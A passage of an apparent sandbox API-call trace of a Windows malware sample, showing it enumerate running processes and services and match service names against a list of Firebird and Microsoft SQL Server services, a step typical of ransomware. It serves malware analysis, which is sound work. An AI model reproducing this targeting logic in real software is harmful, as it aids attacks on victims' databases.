lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0209.484] lstrlenW (lpString="Schedule") returned 8 [0209.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0209.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0209.484] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0209.484] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0209.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0209.484] lstrlenW (lpString="SecurityHealthService") returned 21 [0209.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0209.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0209.485] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0209.485] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0209.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0209.485] lstrlenW (lpString="SENS") returned 4 [0209.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0209.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0209.485] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0209.485] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0209.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0209.485] lstrlenW (lpString="ShellHWDetection") returned 16 [0209.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0209.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0209.545] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0209.545] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0209.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0209.545] lstrlenW (lpString="Spooler") returned 7 [0209.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0209.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0209.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0209.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0209.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0209.545] lstrlenW (lpString="StateRepository") returned 15 [0209.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0209.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0209.545] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0209.545] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0209.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0209.545] lstrlenW (lpString="SysMain") returned 7 [0209.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0209.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0209.545] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0209.545] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0209.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0209.545] lstrlenW (lpString="SystemEventsBroker") returned 18 [0209.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0209.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0209.545] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0209.546] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0209.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0209.546] lstrlenW (lpString="Themes") returned 6 [0209.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0209.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0209.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0209.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0209.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0209.546] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0209.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0209.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0209.546] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0209.546] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0209.546] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x450 [0209.552] Process32FirstW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.553] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0209.553] lstrlenW (lpString="System") returned 6 [0209.553] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0209.554] lstrlenW (lpString="smss.exe") returned 8 [0209.554] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.555] lstrlenW (lpString="csrss.exe") returned 9 [0209.555] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0209.555] lstrlenW (lpString="wininit.exe") returned 11 [0209.555] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.556] lstrlenW (lpString="csrss.exe") returned 9 [0209.556] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0209.557] lstrlenW (lpString="winlogon.exe") returned 12 [0209.557] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0209.557] lstrlenW (lpString="services.exe") returned 12 [0209.557] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0209.558] lstrlenW (lpString="lsass.exe") returned 9 [0209.558] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0209.559] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0209.559] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0209.560] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0209.560] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.560] lstrlenW (lpString="svchost.exe") returned 11 [0209.561] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.562] lstrlenW (lpString="svchost.exe") returned 11 [0209.562] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0209.562] lstrlenW (lpString="dwm.exe") returned 7 [0209.562] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.563] lstrlenW (lpString="svchost.exe") returned 11 [0209.563] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.564] lstrlenW (lpString="svchost.exe") returned 11 [0209.564] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.565] lstrlenW (lpString="svchost.exe") returned 11 [0209.565] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.565] lstrlenW (lpString="svchost.exe") returned 11 [0209.565] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.566] lstrlenW (lpString="svchost.exe") returned 11 [0209.566] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.567] lstrlenW (lpString="svchost.exe") returned 11 [0209.567] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.567] lstrlenW (lpString="svchost.exe") returned 11 [0209.567] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.568] lstrlenW (lpString="svchost.exe") returned 11 [0209.568] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.569] lstrlenW (lpString="svchost.exe") returned 11 [0209.569] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.569] lstrlenW (lpString="svchost.exe") returned 11 [0209.569] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0209.570] lstrlenW (lpString="spoolsv.exe") returned 11 [0209.570] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.570] lstrlenW (lpString="svchost.exe") returned 11 [0209.570] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0209.571] lstrlenW (lpString="audiodg.exe") returned 11 [0209.571] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0209.571] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0209.572] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0209.572] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0209.572] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0209.572] lstrlenW (lpString="Memory Compression") returned 18 [0209.572] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0209.573] lstrlenW (lpString="sihost.exe") returned 10 [0209.573] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.573] lstrlenW (lpString="svchost.exe") returned 11 [0209.573] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0209.574] lstrlenW (lpString="taskhostw.exe") returned 13 [0209.574] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0209.574] lstrlenW (lpString="msoia.exe") returned 9 [0209.574] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0209.575] lstrlenW (lpString="explorer.exe") returned 12 [0209.575] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0209.575] lstrlenW (lpString="SearchUI.exe") returned 12 [0209.575] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0209.576] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0209.576] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0209.576] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0209.576] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0209.576] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0209.577] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0209.577] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0209.577] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0209.578] lstrlenW (lpString="dllhost.exe") returned 11 [0209.578] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0209.578] lstrlenW (lpString="dllhost.exe") returned 11 [0209.578] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0209.632] CloseHandle (hObject=0x450) returned 1 [0209.632] Sleep (dwMilliseconds=0x1f4) [0210.314] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b0d0 [0210.315] EnumServicesStatusExW (in: hSCManager=0x447b0d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0210.315] GetLastError () returned 0xea [0210.315] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c30) returned 0x456b180 [0210.316] EnumServicesStatusExW (in: hSCManager=0x447b0d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c30, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0210.316] CloseServiceHandle (hSCObject=0x447b0d0) returned 1 [0210.317] lstrlenW (lpString="Appinfo") returned 7 [0210.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0210.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0210.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0210.317] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0210.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0210.317] lstrlenW (lpString="AppXSvc") returned 7 [0210.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0210.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0210.317] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0210.317] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0210.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0210.317] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0210.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0210.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0210.317] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0210.317] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0210.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0210.317] lstrlenW (lpString="Audiosrv") returned 8 [0210.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0210.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0210.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0210.317] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0210.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0210.317] lstrlenW (lpString="BFE") returned 3 [0210.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0210.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0210.317] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0210.317] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0210.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0210.317] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0210.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0210.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0210.317] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0210.318] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0210.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0210.318] lstrlenW (lpString="CDPSvc") returned 6 [0210.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0210.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0210.318] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0210.318] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0210.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0210.318] lstrlenW (lpString="ClickToRunSvc") returned 13 [0210.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0210.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0210.318] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0210.318] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0210.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0210.318] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0210.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0210.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0210.318] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0210.318] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0210.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0210.318] lstrlenW (lpString="CryptSvc") returned 8 [0210.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0210.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0210.318] lstrcmpiW 